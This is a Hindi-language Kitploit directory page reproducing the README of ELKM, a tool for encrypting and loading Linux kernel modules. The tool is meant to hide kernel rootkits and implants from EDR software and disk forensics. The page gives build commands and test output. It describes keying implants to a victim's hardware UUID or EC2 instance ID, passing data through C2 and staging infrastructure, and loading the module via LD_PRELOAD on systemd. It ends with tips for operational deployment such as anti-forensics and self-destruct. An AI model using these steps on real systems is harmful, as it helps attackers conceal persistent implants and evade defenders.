Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
encrypted-linux-kernel-modules — एन्क्रिप्टेड-लिनक्स-कर्नेल-मॉड्यूल | Kitploit
उपकरण/GitHubGitHub/cenobyte-vincit/encrypted-linux-kernel-modules
विशेषाधिकार वृद्धिएन्क्रिप्शन/डिक्रिप्शन उपकरणस्थायित्व तंत्रआईडीएस/आईपीएस से बचनापोस्ट-शोषणकमांड एंड कंट्रोलरेड टीमिंगपेलोड डेवलपमेंट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
cenobyte-vincit/encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

एन्क्रिप्टेड-लिनक्स-कर्नेल-मॉड्यूल

रिपॉजिटरी देखें
13365 साल पहलेअभी तक समीक्षित नहीं

ELKM: एन्क्रिप्टेड Linux x86-64 लोडेबल कर्नेल मॉड्यूल

ELKM एन्क्रिप्टेड लोडेबल कर्नेल मॉड्यूल (LKM) को सुरक्षित रूप से परिवहन और लोड करने के लिए एक तंत्र प्रदान करता है। इसका उद्देश्य कर्नेल-आधारित रूटकिट्स और इम्प्लांट्स को एंडपॉइंट डिटेक्शन एंड रिस्पॉन्स (EDR) सॉफ्टवेयर द्वारा अवलोकन से बचाना और डिस्क फोरेंसिक टूलिंग द्वारा रिकवरी के प्रभावों को निष्प्रभावी करना है।

RHEL/CentOS 7

ELKM को विशेष रूप से RHEL/CentOS 7 x86-64 के लिए लिखा गया था।

root@kitploit:~
kernel-tools-libs-3.10.0-1127.18.2.el7.x86_64
kernel-devel-3.10.0-1127.18.2.el7.x86_64
kernel-tools-3.10.0-1127.18.2.el7.x86_64
kernel-headers-3.10.0-1127.18.2.el7.x86_64
kernel-3.10.0-1127.18.2.el7.x86_64

बिल्ड वातावरण तैयार करें

root@kitploit:~
sudo yum install glibc-static -y
sudo yum install kernel-devel -y
sudo yum install kernel-headers -y
sudo yum install openssl-devel -y
sudo yum install libcurl-devel -y

स्थानीय स्वचालित परीक्षण

परीक्षण स्क्रिप्ट 4 परीक्षण करती है:

  • पासवर्ड /sys/class/dmi/id/product_uuid के माध्यम से प्रदान किया गया
  • पासवर्ड http://169.254.169.254/latest/meta-data/instance-id के माध्यम से प्रदान किया गया (EC2 पर होने पर)
  • पासवर्ड पर्यावरण के माध्यम से प्रदान किया गया
  • पासवर्ड stdin के माध्यम से प्रदान किया गया
root@kitploit:~
$ make
$ sudo ./test.sh
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules clean
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CLEAN   /home/test/encrypted-kernel-modules/.tmp_versions
  CLEAN   /home/test/encrypted-kernel-modules/Module.symvers
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
rm -f loader.so
rm -f payloadfuser
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CC [M]  /home/test/encrypted-kernel-modules/kernel-module.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/test/encrypted-kernel-modules/kernel-module.mod.o
  LD [M]  /home/test/encrypted-kernel-modules/kernel-module.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
gcc -o loader.so loader.c -fPIC -shared -ldl -lcrypto -Wall
gcc -o payloadfuser payloadfuser.c -lcrypto -Wall
strip --strip-unneeded kernel-module.ko
strip --strip-unneeded loader.so
strip payloadfuser
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password '07EC86F1-957C-6B4E-9134-7A6DE5ACC99C', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-ENV-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-STDIN-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

बिल्ड करें, और मैन्युअल रूप से टेस्ट पेलोड बनाएं

root@kitploit:~
make
./payloadfuser ./kernel-module.ko ./loader.so dummykey
FOO=dummykey LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

परिचालन

ELKM को किसी विशिष्ट सिस्टम से जोड़ना

product_uuid के माध्यम से

लक्ष्य सिस्टम पर:

root@kitploit:~
cat /sys/class/dmi/id/product_uuid

नोट: यह स्वचालित तरीके से किया जाना चाहिए, जैसे कि ड्रॉपर के माध्यम से। product_uuid को C2 के माध्यम से स्टेजिंग इन्फ्रास्ट्रक्चर को TX करें।

स्टेजिंग इन्फ्रास्ट्रक्चर पर:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $uuid

लक्ष्य सिस्टम पर स्टेजिंग इन्फ्रास्ट्रक्चर से लोडर डाउनलोड करें, और इसे एक विश्वसनीय एक्ज़ीक्यूटेबल के माध्यम से चलाएं:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
EC2 इंस्टेंस ID के माध्यम से

लक्ष्य सिस्टम पर:

root@kitploit:~
curl http://169.254.169.254/latest/meta-data/instance-id

नोट: यह स्वचालित तरीके से किया जाना चाहिए, जैसे कि ड्रॉपर के माध्यम से। इंस्टेंस ID को C2 के माध्यम से स्टेजिंग इन्फ्रास्ट्रक्चर को TX करें।

स्टेजिंग इन्फ्रास्ट्रक्चर पर:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $instanceid

लक्ष्य सिस्टम पर स्टेजिंग इन्फ्रास्ट्रक्चर से लोडर डाउनलोड करें, और इसे एक विश्वसनीय एक्ज़ीक्यूटेबल के माध्यम से चलाएं:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

पर्यावरण या इंटरैक्टिव शेल के उपयोग के लिए पासवर्ड सेट करना

स्टेजिंग इन्फ्रास्ट्रक्चर पर:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so PASSWORD

लक्ष्य सिस्टम पर, पर्यावरण के माध्यम से:

root@kitploit:~
# FOO=PASSWORD LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
#

या stdin के माध्यम से:

root@kitploit:~
# LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
THISISMYINTERACTIVEPASSWORD
#

टिप्स

यदि आप ELKM को परिचालन रूप से तैनात करना चाहते हैं तो कुछ टिप्स:

  • 'debug' के साथ कंपाइल न करें
  • फ़ंक्शन नाम बदलें
  • अधिक antifor तकनीकें लागू करें
  • OpenSSL को किसी अन्य क्रिप्टो लाइब्रेरी से बदलने पर विचार करें
  • पासवर्ड विफल होने पर एक सेल्फ-डिस्ट्रक्ट मोड लागू करें

हमने फिंगरप्रिंटिंग से बचने के लिए इन सुविधाओं को लागू न करने का निर्णय लिया।

टूल डाउनलोड करें